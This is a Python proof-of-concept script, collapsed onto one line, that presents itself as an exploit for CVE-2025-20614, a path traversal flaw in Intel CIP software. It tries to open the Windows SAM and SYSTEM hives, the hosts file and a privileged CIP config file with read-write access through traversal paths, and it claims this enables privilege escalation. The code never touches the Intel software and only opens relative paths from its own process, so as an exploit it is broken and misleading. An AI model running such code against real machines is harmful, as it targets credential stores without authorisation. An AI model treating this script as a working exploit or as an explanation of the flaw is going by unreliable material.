CVE-2025-20614

# CVE-2025-20614 PoC - Intel CIP Path Traversal # This PoC demonstrates the path traversal vulnerability in Intel CIP software # Note: This is for educational and authorized testing purposes only import os import sys import ctypes from ctypes import wintypes # Windows API structures class SECURITY_ATTRIBUTES(ctypes.Structure): _fields_ = [("nLength", wintypes.DWORD), ("lpSecurityDescriptor", wintypes.LPVOID), ("bInheritHandle", wintypes.BOOL)] # Define necessary Windows APIs kernel32 = ctypes.windll.kernel32 CreateFileW = kernel32.CreateFileW CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(SECURITY_ATTRIBUTES), wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE] CreateFileW.restype = wintypes.HANDLE GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x00000080 def exploit_path_traversal(): """ Simulates path traversal exploitation in Intel CIP software Target: Access protected files via path traversal sequences """ print("[*] CVE-2025-20614 Path Traversal PoC") print("[*] Target: Intel CIP software < WIN_DCA_2.4.0.11001") # Malicious path with traversal sequence # Attack technique: Use "../" sequences to escape restricted directory traversal_paths = [ "..\\..\\..\\Windows\\System32\\config\\SAM", "..\\..\\..\\Windows\\System32\\config\\SYSTEM", "..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts", "..\\..\\..\\ProgramData\\Intel\\CIP\\config\\privileged.dat" ] for path in traversal_paths: try: # Attempt to open file via path traversal hFile = CreateFileW( path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None ) if hFile != -1: print(f"[+] Successfully accessed: {path}") # In real attack, this could lead to privilege escalation # by modifying system files or reading sensitive data kernel32.CloseHandle(hFile) else: print(f"[-] Access denied: {path}") except Exception as e: print(f"[!] Error accessing {path}: {str(e)}") print("\n[*] PoC demonstrates path traversal vulnerability") print("[*] Successful access to protected files enables privilege escalation") if __name__ == "__main__": print("CVE-2025-20614 Intel CIP Path Traversal Vulnerability") print("=" * 60) exploit_path_traversal()

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